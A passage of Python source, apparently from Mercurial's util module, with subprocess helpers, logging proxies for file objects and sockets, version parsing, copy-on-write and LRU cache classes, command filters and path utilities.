         data = os.read(self._input.fileno(), _chunksize)
         if not data:
             self._eof = True
         else:
             self._lenbuf += len(data)
             self._buffer.append(data)
 
         return data
 
 def mmapread(fp):
     try:
         fd = getattr(fp, 'fileno', lambda: fp)()
         return mmap.mmap(fd, 0, access=mmap.ACCESS_READ)
     except ValueError:
         # Empty files cannot be mmapped, but mmapread should still work.  Check
         # if the file is empty, and if so, return an empty buffer.
         if os.fstat(fd).st_size == 0:
             return ''
         raise
 
 def popen2(cmd, env=None, newlines=False):
     # Setting bufsize to -1 lets the system decide the buffer size.
     # The default for bufsize is 0, meaning unbuffered. This leads to
     # poor performance on Mac OS X: http://bugs.python.org/issue4194
     p = subprocess.Popen(cmd, shell=True, bufsize=-1,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout
 
 def popen3(cmd, env=None, newlines=False):
     stdin, stdout, stderr, p = popen4(cmd, env, newlines)
     return stdin, stdout, stderr
 
 def popen4(cmd, env=None, newlines=False, bufsize=-1):
     p = subprocess.Popen(cmd, shell=True, bufsize=bufsize,
                          close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE,
                          stderr=subprocess.PIPE,
                          universal_newlines=newlines,
                          env=env)
     return p.stdin, p.stdout, p.stderr, p
 
 class fileobjectproxy(object):
     """A proxy around file objects that tells a watcher when events occur.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, fh, observer):
         object.__setattr__(self, r'_orig', fh)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         ours = {
             r'_observer',
 
             # IOBase
             r'close',
             # closed if a property
             r'fileno',
             r'flush',
             r'isatty',
             r'readable',
             r'readline',
             r'readlines',
             r'seek',
             r'seekable',
             r'tell',
             r'truncate',
             r'writable',
             r'writelines',
             # RawIOBase
             r'read',
             r'readall',
             r'readinto',
             r'write',
             # BufferedIOBase
             # raw is a property
             r'detach',
             # read defined above
             r'read1',
             # readinto defined above
             # write defined above
         }
 
         # We only observe some methods.
         if name in ours:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __iter__(self):
         return object.__getattribute__(self, r'_orig').__iter__()
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def close(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'close', *args, **kwargs)
 
     def fileno(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'fileno', *args, **kwargs)
 
     def flush(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'flush', *args, **kwargs)
 
     def isatty(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'isatty', *args, **kwargs)
 
     def readable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readable', *args, **kwargs)
 
     def readline(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readline', *args, **kwargs)
 
     def readlines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readlines', *args, **kwargs)
 
     def seek(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seek', *args, **kwargs)
 
     def seekable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'seekable', *args, **kwargs)
 
     def tell(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'tell', *args, **kwargs)
 
     def truncate(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'truncate', *args, **kwargs)
 
     def writable(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writable', *args, **kwargs)
 
     def writelines(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'writelines', *args, **kwargs)
 
     def read(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read', *args, **kwargs)
 
     def readall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readall', *args, **kwargs)
 
     def readinto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'readinto', *args, **kwargs)
 
     def write(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'write', *args, **kwargs)
 
     def detach(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'detach', *args, **kwargs)
 
     def read1(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'read1', *args, **kwargs)
 
 class observedbufferedinputpipe(bufferedinputpipe):
     """A variation of bufferedinputpipe that is aware of fileobjectproxy.
 
     ``bufferedinputpipe`` makes low-level calls to ``os.read()`` that
     bypass ``fileobjectproxy``. Because of this, we need to make
     ``bufferedinputpipe`` aware of these operations.
 
     This variation of ``bufferedinputpipe`` can notify observers about
     ``os.read()`` events. It also re-publishes other events, such as
     ``read()`` and ``readline()``.
     """
     def _fillbuffer(self):
         res = super(observedbufferedinputpipe, self)._fillbuffer()
 
         fn = getattr(self._input._observer, r'osread', None)
         if fn:
             fn(res, _chunksize)
 
         return res
 
     # We use different observer methods because the operation isn't
     # performed on the actual file object but on us.
     def read(self, size):
         res = super(observedbufferedinputpipe, self).read(size)
 
         fn = getattr(self._input._observer, r'bufferedread', None)
         if fn:
             fn(res, size)
 
         return res
 
     def readline(self, *args, **kwargs):
         res = super(observedbufferedinputpipe, self).readline(*args, **kwargs)
 
         fn = getattr(self._input._observer, r'bufferedreadline', None)
         if fn:
             fn(res)
 
         return res
 
 PROXIED_SOCKET_METHODS = {
     r'makefile',
     r'recv',
     r'recvfrom',
     r'recvfrom_into',
     r'recv_into',
     r'send',
     r'sendall',
     r'sendto',
     r'setblocking',
     r'settimeout',
     r'gettimeout',
     r'setsockopt',
 }
 
 class socketproxy(object):
     """A proxy around a socket that tells a watcher when events occur.
 
     This is like ``fileobjectproxy`` except for sockets.
 
     This type is intended to only be used for testing purposes. Think hard
     before using it in important code.
     """
     __slots__ = (
         r'_orig',
         r'_observer',
     )
 
     def __init__(self, sock, observer):
         object.__setattr__(self, r'_orig', sock)
         object.__setattr__(self, r'_observer', observer)
 
     def __getattribute__(self, name):
         if name in PROXIED_SOCKET_METHODS:
             return object.__getattribute__(self, name)
 
         return getattr(object.__getattribute__(self, r'_orig'), name)
 
     def __delattr__(self, name):
         return delattr(object.__getattribute__(self, r'_orig'), name)
 
     def __setattr__(self, name, value):
         return setattr(object.__getattribute__(self, r'_orig'), name, value)
 
     def __nonzero__(self):
         return bool(object.__getattribute__(self, r'_orig'))
 
     __bool__ = __nonzero__
 
     def _observedcall(self, name, *args, **kwargs):
         # Call the original object.
         orig = object.__getattribute__(self, r'_orig')
         res = getattr(orig, name)(*args, **kwargs)
 
         # Call a method on the observer of the same name with arguments
         # so it can react, log, etc.
         observer = object.__getattribute__(self, r'_observer')
         fn = getattr(observer, name, None)
         if fn:
             fn(res, *args, **kwargs)
 
         return res
 
     def makefile(self, *args, **kwargs):
         res = object.__getattribute__(self, r'_observedcall')(
             r'makefile', *args, **kwargs)
 
         # The file object may be used for I/O. So we turn it into a
         # proxy using our observer.
         observer = object.__getattribute__(self, r'_observer')
         return makeloggingfileobject(observer.fh, res, observer.name,
                                      reads=observer.reads,
                                      writes=observer.writes,
                                      logdata=observer.logdata,
                                      logdataapis=observer.logdataapis)
 
     def recv(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv', *args, **kwargs)
 
     def recvfrom(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom', *args, **kwargs)
 
     def recvfrom_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recvfrom_into', *args, **kwargs)
 
     def recv_into(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'recv_info', *args, **kwargs)
 
     def send(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'send', *args, **kwargs)
 
     def sendall(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendall', *args, **kwargs)
 
     def sendto(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'sendto', *args, **kwargs)
 
     def setblocking(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setblocking', *args, **kwargs)
 
     def settimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'settimeout', *args, **kwargs)
 
     def gettimeout(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'gettimeout', *args, **kwargs)
 
     def setsockopt(self, *args, **kwargs):
         return object.__getattribute__(self, r'_observedcall')(
             r'setsockopt', *args, **kwargs)
 
 class baseproxyobserver(object):
     def _writedata(self, data):
         if not self.logdata:
             if self.logdataapis:
                 self.fh.write('\n')
                 self.fh.flush()
             return
 
         # Simple case writes all data on a single line.
         if b'\n' not in data:
             if self.logdataapis:
                 self.fh.write(': %s\n' % stringutil.escapedata(data))
             else:
                 self.fh.write('%s>     %s\n'
                               % (self.name, stringutil.escapedata(data)))
             self.fh.flush()
             return
 
         # Data with newlines is written to multiple lines.
         if self.logdataapis:
             self.fh.write(':\n')
 
         lines = data.splitlines(True)
         for line in lines:
             self.fh.write('%s>     %s\n'
                           % (self.name, stringutil.escapedata(line)))
         self.fh.flush()
 
 class fileobjectobserver(baseproxyobserver):
     """Logs file object activity."""
     def __init__(self, fh, name, reads=True, writes=True, logdata=False,
                  logdataapis=True):
         self.fh = fh
         self.name = name
         self.logdata = logdata
         self.logdataapis = logdataapis
         self.reads = reads
         self.writes = writes
 
     def read(self, res, size=-1):
         if not self.reads:
             return
         # Python 3 can return None from reads at EOF instead of empty strings.
         if res is None:
             res = ''
 
         if self.logdataapis:
             self.fh.write('%s> read(%d) -> %d' % (self.name, size, len(res)))
 
         self._writedata(res)
 
     def readline(self, res, limit=-1):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> readline() -> %d' % (self.name, len(res)))
 
         self._writedata(res)
 
     def readinto(self, res, dest):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> readinto(%d) -> %r' % (self.name, len(dest),
                                                       res))
 
         data = dest[0:res] if res is not None else b''
         self._writedata(data)
 
     def write(self, res, data):
         if not self.writes:
             return
 
         # Python 2 returns None from some write() calls. Python 3 (reasonably)
         # returns the integer bytes written.
         if res is None and data:
             res = len(data)
 
         if self.logdataapis:
             self.fh.write('%s> write(%d) -> %r' % (self.name, len(data), res))
 
         self._writedata(data)
 
     def flush(self, res):
         if not self.writes:
             return
 
         self.fh.write('%s> flush() -> %r\n' % (self.name, res))
 
     # For observedbufferedinputpipe.
     def bufferedread(self, res, size):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> bufferedread(%d) -> %d' % (
                 self.name, size, len(res)))
 
         self._writedata(res)
 
     def bufferedreadline(self, res):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> bufferedreadline() -> %d' % (
                 self.name, len(res)))
 
         self._writedata(res)
 
 def makeloggingfileobject(logh, fh, name, reads=True, writes=True,
                           logdata=False, logdataapis=True):
     """Turn a file object into a logging file object."""
 
     observer = fileobjectobserver(logh, name, reads=reads, writes=writes,
                                   logdata=logdata, logdataapis=logdataapis)
     return fileobjectproxy(fh, observer)
 
 class socketobserver(baseproxyobserver):
     """Logs socket activity."""
     def __init__(self, fh, name, reads=True, writes=True, states=True,
                  logdata=False, logdataapis=True):
         self.fh = fh
         self.name = name
         self.reads = reads
         self.writes = writes
         self.states = states
         self.logdata = logdata
         self.logdataapis = logdataapis
 
     def makefile(self, res, mode=None, bufsize=None):
         if not self.states:
             return
 
         self.fh.write('%s> makefile(%r, %r)\n' % (
             self.name, mode, bufsize))
 
     def recv(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recv(%d, %d) -> %d' % (
                 self.name, size, flags, len(res)))
         self._writedata(res)
 
     def recvfrom(self, res, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recvfrom(%d, %d) -> %d' % (
                 self.name, size, flags, len(res[0])))
 
         self._writedata(res[0])
 
     def recvfrom_into(self, res, buf, size, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recvfrom_into(%d, %d) -> %d' % (
                 self.name, size, flags, res[0]))
 
         self._writedata(buf[0:res[0]])
 
     def recv_into(self, res, buf, size=0, flags=0):
         if not self.reads:
             return
 
         if self.logdataapis:
             self.fh.write('%s> recv_into(%d, %d) -> %d' % (
                 self.name, size, flags, res))
 
         self._writedata(buf[0:res])
 
     def send(self, res, data, flags=0):
         if not self.writes:
             return
 
         self.fh.write('%s> send(%d, %d) -> %d' % (
             self.name, len(data), flags, len(res)))
         self._writedata(data)
 
     def sendall(self, res, data, flags=0):
         if not self.writes:
             return
 
         if self.logdataapis:
             # Returns None on success. So don't bother reporting return value.
             self.fh.write('%s> sendall(%d, %d)' % (
                 self.name, len(data), flags))
 
         self._writedata(data)
 
     def sendto(self, res, data, flagsoraddress, address=None):
         if not self.writes:
             return
 
         if address:
             flags = flagsoraddress
         else:
             flags = 0
 
         if self.logdataapis:
             self.fh.write('%s> sendto(%d, %d, %r) -> %d' % (
                 self.name, len(data), flags, address, res))
 
         self._writedata(data)
 
     def setblocking(self, res, flag):
         if not self.states:
             return
 
         self.fh.write('%s> setblocking(%r)\n' % (self.name, flag))
 
     def settimeout(self, res, value):
         if not self.states:
             return
 
         self.fh.write('%s> settimeout(%r)\n' % (self.name, value))
 
     def gettimeout(self, res):
         if not self.states:
             return
 
         self.fh.write('%s> gettimeout() -> %f\n' % (self.name, res))
 
     def setsockopt(self, level, optname, value):
         if not self.states:
             return
 
         self.fh.write('%s> setsockopt(%r, %r, %r) -> %r\n' % (
             self.name, level, optname, value))
 
 def makeloggingsocket(logh, fh, name, reads=True, writes=True, states=True,
                       logdata=False, logdataapis=True):
     """Turn a socket into a logging socket."""
 
     observer = socketobserver(logh, name, reads=reads, writes=writes,
                               states=states, logdata=logdata,
                               logdataapis=logdataapis)
     return socketproxy(fh, observer)
 
 def version():
     """Return version information if available."""
     try:
         from . import __version__
         return __version__.version
     except ImportError:
         return 'unknown'
 
 def versiontuple(v=None, n=4):
     """Parses a Mercurial version string into an N-tuple.
 
     The version string to be parsed is specified with the ``v`` argument.
     If it isn't defined, the current Mercurial version string will be parsed.
 
     ``n`` can be 2, 3, or 4. Here is how some version strings map to
     returned values:
 
     >>> v = b'3.6.1+190-df9b73d2d444'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, 1)
     >>> versiontuple(v, 4)
     (3, 6, 1, '190-df9b73d2d444')
 
     >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
     (3, 6, 1, '190-df9b73d2d444+20151118')
 
     >>> v = b'3.6'
     >>> versiontuple(v, 2)
     (3, 6)
     >>> versiontuple(v, 3)
     (3, 6, None)
     >>> versiontuple(v, 4)
     (3, 6, None, None)
 
     >>> v = b'3.9-rc'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc')
 
     >>> v = b'3.9-rc+2-02a8fea4289b'
     >>> versiontuple(v, 2)
     (3, 9)
     >>> versiontuple(v, 3)
     (3, 9, None)
     >>> versiontuple(v, 4)
     (3, 9, None, 'rc+2-02a8fea4289b')
     """
     if not v:
         v = version()
     parts = remod.split('[\+-]', v, 1)
     if len(parts) == 1:
         vparts, extra = parts[0], None
     else:
         vparts, extra = parts
 
     vints = []
     for i in vparts.split('.'):
         try:
             vints.append(int(i))
         except ValueError:
             break
     # (3, 6) -> (3, 6, None)
     while len(vints) < 3:
         vints.append(None)
 
     if n == 2:
         return (vints[0], vints[1])
     if n == 3:
         return (vints[0], vints[1], vints[2])
     if n == 4:
         return (vints[0], vints[1], vints[2], extra)
 
 def cachefunc(func):
     '''cache the result of function calls'''
     # XXX doesn't handle keywords args
     if func.__code__.co_argcount == 0:
         cache = []
         def f():
             if len(cache) == 0:
                 cache.append(func())
             return cache[0]
         return f
     cache = {}
     if func.__code__.co_argcount == 1:
         # we gain a small amount of time because
         # we don't need to pack/unpack the list
         def f(arg):
             if arg not in cache:
                 cache[arg] = func(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 cache[args] = func(*args)
             return cache[args]
 
     return f
 
 class cow(object):
     """helper class to make copy-on-write easier
 
     Call preparewrite before doing any writes.
     """
 
     def preparewrite(self):
         """call this before writes, return self or a copied new object"""
         if getattr(self, '_copied', 0):
             self._copied -= 1
             return self.__class__(self)
         return self
 
     def copy(self):
         """always do a cheap copy"""
         self._copied = getattr(self, '_copied', 0) + 1
         return self
 
 class sortdict(collections.OrderedDict):
     '''a simple sorted dictionary
 
     >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
     >>> d2 = d1.copy()
     >>> d2
     sortdict([('a', 0), ('b', 1)])
     >>> d2.update([(b'a', 2)])
     >>> list(d2.keys()) # should still be in last-set order
     ['b', 'a']
     '''
 
     def __setitem__(self, key, value):
         if key in self:
             del self[key]
         super(sortdict, self).__setitem__(key, value)
 
     if pycompat.ispypy:
         # __setitem__() isn't called as of PyPy 5.8.0
         def update(self, src):
             if isinstance(src, dict):
                 src = src.iteritems()
             for k, v in src:
                 self[k] = v
 
 class cowdict(cow, dict):
     """copy-on-write dict
 
     Be sure to call d = d.preparewrite() before writing to d.
 
     >>> a = cowdict()
     >>> a is a.preparewrite()
     True
     >>> b = a.copy()
     >>> b is a
     True
     >>> c = b.copy()
     >>> c is a
     True
     >>> a = a.preparewrite()
     >>> b is a
     False
     >>> a is a.preparewrite()
     True
     >>> c = c.preparewrite()
     >>> b is c
     False
     >>> b is b.preparewrite()
     True
     """
 
 class cowsortdict(cow, sortdict):
     """copy-on-write sortdict
 
     Be sure to call d = d.preparewrite() before writing to d.
     """
 
 class transactional(object):
     """Base class for making a transactional type into a context manager."""
     __metaclass__ = abc.ABCMeta
 
     @abc.abstractmethod
     def close(self):
         """Successfully closes the transaction."""
 
     @abc.abstractmethod
     def release(self):
         """Marks the end of the transaction.
 
         If the transaction has not been closed, it will be aborted.
         """
 
     def __enter__(self):
         return self
 
     def __exit__(self, exc_type, exc_val, exc_tb):
         try:
             if exc_type is None:
                 self.close()
         finally:
             self.release()
 
 @contextlib.contextmanager
 def acceptintervention(tr=None):
     """A context manager that closes the transaction on InterventionRequired
 
     If no transaction was provided, this simply runs the body and returns
     """
     if not tr:
         yield
         return
     try:
         yield
         tr.close()
     except error.InterventionRequired:
         tr.close()
         raise
     finally:
         tr.release()
 
 @contextlib.contextmanager
 def nullcontextmanager():
     yield
 
 class _lrucachenode(object):
     """A node in a doubly linked list.
 
     Holds a reference to nodes on either side as well as a key-value
     pair for the dictionary entry.
     """
     __slots__ = (u'next', u'prev', u'key', u'value')
 
     def __init__(self):
         self.next = None
         self.prev = None
 
         self.key = _notset
         self.value = None
 
     def markempty(self):
         """Mark the node as emptied."""
         self.key = _notset
 
 class lrucachedict(object):
     """Dict that caches most recent accesses and sets.
 
     The dict consists of an actual backing dict - indexed by original
     key - and a doubly linked circular list defining the order of entries in
     the cache.
 
     The head node is the newest entry in the cache. If the cache is full,
     we recycle head.prev and make it the new head. Cache accesses result in
     the node being moved to before the existing head and being marked as the
     new head node.
     """
     def __init__(self, max):
         self._cache = {}
 
         self._head = head = _lrucachenode()
         head.prev = head
         head.next = head
         self._size = 1
         self._capacity = max
 
     def __len__(self):
         return len(self._cache)
 
     def __contains__(self, k):
         return k in self._cache
 
     def __iter__(self):
         # We don't have to iterate in cache order, but why not.
         n = self._head
         for i in range(len(self._cache)):
             yield n.key
             n = n.next
 
     def __getitem__(self, k):
         node = self._cache[k]
         self._movetohead(node)
         return node.value
 
     def __setitem__(self, k, v):
         node = self._cache.get(k)
         # Replace existing value and mark as newest.
         if node is not None:
             node.value = v
             self._movetohead(node)
             return
 
         if self._size < self._capacity:
             node = self._addcapacity()
         else:
             # Grab the last/oldest item.
             node = self._head.prev
 
         # At capacity. Kill the old entry.
         if node.key is not _notset:
             del self._cache[node.key]
 
         node.key = k
         node.value = v
         self._cache[k] = node
         # And mark it as newest entry. No need to adjust order since it
         # is already self._head.prev.
         self._head = node
 
     def __delitem__(self, k):
         node = self._cache.pop(k)
         node.markempty()
 
         # Temporarily mark as newest item before re-adjusting head to make
         # this node the oldest item.
         self._movetohead(node)
         self._head = node.next
 
     # Additional dict methods.
 
     def get(self, k, default=None):
         try:
             return self._cache[k].value
         except KeyError:
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self):
         result = lrucachedict(self._capacity)
         n = self._head.prev
         # Iterate in oldest-to-newest order, so the copy has the right ordering
         for i in range(len(self._cache)):
             result[n.key] = n.value
             n = n.prev
         return result
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
     else:
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 def pipefilter(s, cmd):
     '''filter string S through command CMD, returning its output'''
     p = subprocess.Popen(cmd, shell=True, close_fds=closefds,
                          stdin=subprocess.PIPE, stdout=subprocess.PIPE)
     pout, perr = p.communicate(s)
     return pout
 
 def tempfilter(s, cmd):
     '''filter string S through a pair of temporary files with CMD.
     CMD is used as a template to create the real command to be run,
     with the strings INFILE and OUTFILE replaced by the real names of
     the temporary files generated.'''
     inname, outname = None, None
     try:
         infd, inname = tempfile.mkstemp(prefix='hg-filter-in-')
         fp = os.fdopen(infd, r'wb')
         fp.write(s)
         fp.close()
         outfd, outname = tempfile.mkstemp(prefix='hg-filter-out-')
         os.close(outfd)
         cmd = cmd.replace('INFILE', inname)
         cmd = cmd.replace('OUTFILE', outname)
         code = os.system(cmd)
         if pycompat.sysplatform == 'OpenVMS' and code & 1:
             code = 0
         if code:
             raise Abort(_("command '%s' failed: %s") %
                         (cmd, explainexit(code)))
         return readfile(outname)
     finally:
         try:
             if inname:
                 os.unlink(inname)
         except OSError:
             pass
         try:
             if outname:
                 os.unlink(outname)
         except OSError:
             pass
 
 filtertable = {
     'tempfile:': tempfilter,
     'pipe:': pipefilter,
     }
 
 def filter(s, cmd):
     "filter a string through a command that transforms its input to its output"
     for name, fn in filtertable.iteritems():
         if cmd.startswith(name):
             return fn(s, cmd[len(name):].lstrip())
     return pipefilter(s, cmd)
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 Abort = error.Abort
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 def mainfrozen():
     """return True if we are a frozen executable.
 
     The code supports py2exe (most common, Windows only) and tools/freeze
     (portable, not much used).
     """
     return (safehasattr(sys, "frozen") or # new py2exe
             safehasattr(sys, "importers") or # old py2exe
             imp.is_frozen(u"__main__")) # tools/freeze
 
 # the location of data files matching the source code
 if mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 _hgexecutable = None
 
 def hgexecutable():
     """return location of the 'hg' executable.
 
     Defaults to $HG or 'hg' in the search path.
     """
     if _hgexecutable is None:
         hg = encoding.environ.get('HG')
         mainmod = sys.modules[r'__main__']
         if hg:
             _sethgexecutable(hg)
         elif mainfrozen():
             if getattr(sys, 'frozen', None) == 'macosx_app':
                 # Env variable set by py2app
                 _sethgexecutable(encoding.environ['EXECUTABLEPATH'])
             else:
                 _sethgexecutable(pycompat.sysexecutable)
         elif (os.path.basename(
             pycompat.fsencode(getattr(mainmod, '__file__', ''))) == 'hg'):
             _sethgexecutable(pycompat.fsencode(mainmod.__file__))
         else:
             exe = findexe('hg') or os.path.basename(sys.argv[0])
             _sethgexecutable(exe)
     return _hgexecutable
 
 def _sethgexecutable(path):
     """set location of the 'hg' executable"""
     global _hgexecutable
     _hgexecutable = path
 
 def _testfileno(f, stdf):
     fileno = getattr(f, 'fileno', None)
     try:
         return fileno and fileno() == stdf.fileno()
     except io.UnsupportedOperation:
         return False # fileno() raised UnsupportedOperation
 
 def isstdin(f):
     return _testfileno(f, sys.__stdin__)
 
 def isstdout(f):
     return _testfileno(f, sys.__stdout__)
 
 def shellenviron(environ=None):
     """return environ with optional override, useful for shelling out"""
     def py2shell(val):
         'convert python object into string that is useful to shell'
         if val is None or val is False:
             return '0'
         if val is True:
             return '1'
         return pycompat.bytestr(val)
     env = dict(encoding.environ)
     if environ:
         env.update((k, py2shell(v)) for k, v in environ.iteritems())
     env['HG'] = hgexecutable()
     return env
 
 def system(cmd, environ=None, cwd=None, out=None):
     '''enhanced shell command execution.
     run with environment maybe modified, maybe in different dir.
 
     if out is specified, it is assumed to be a file-like object that has a
     write() method. stdout and stderr will be redirected to out.'''
     try:
         stdout.flush()
     except Exception:
         pass
     cmd = quotecommand(cmd)
     env = shellenviron(environ)
     if out is None or isstdout(out):
         rc = subprocess.call(cmd, shell=True, close_fds=closefds,
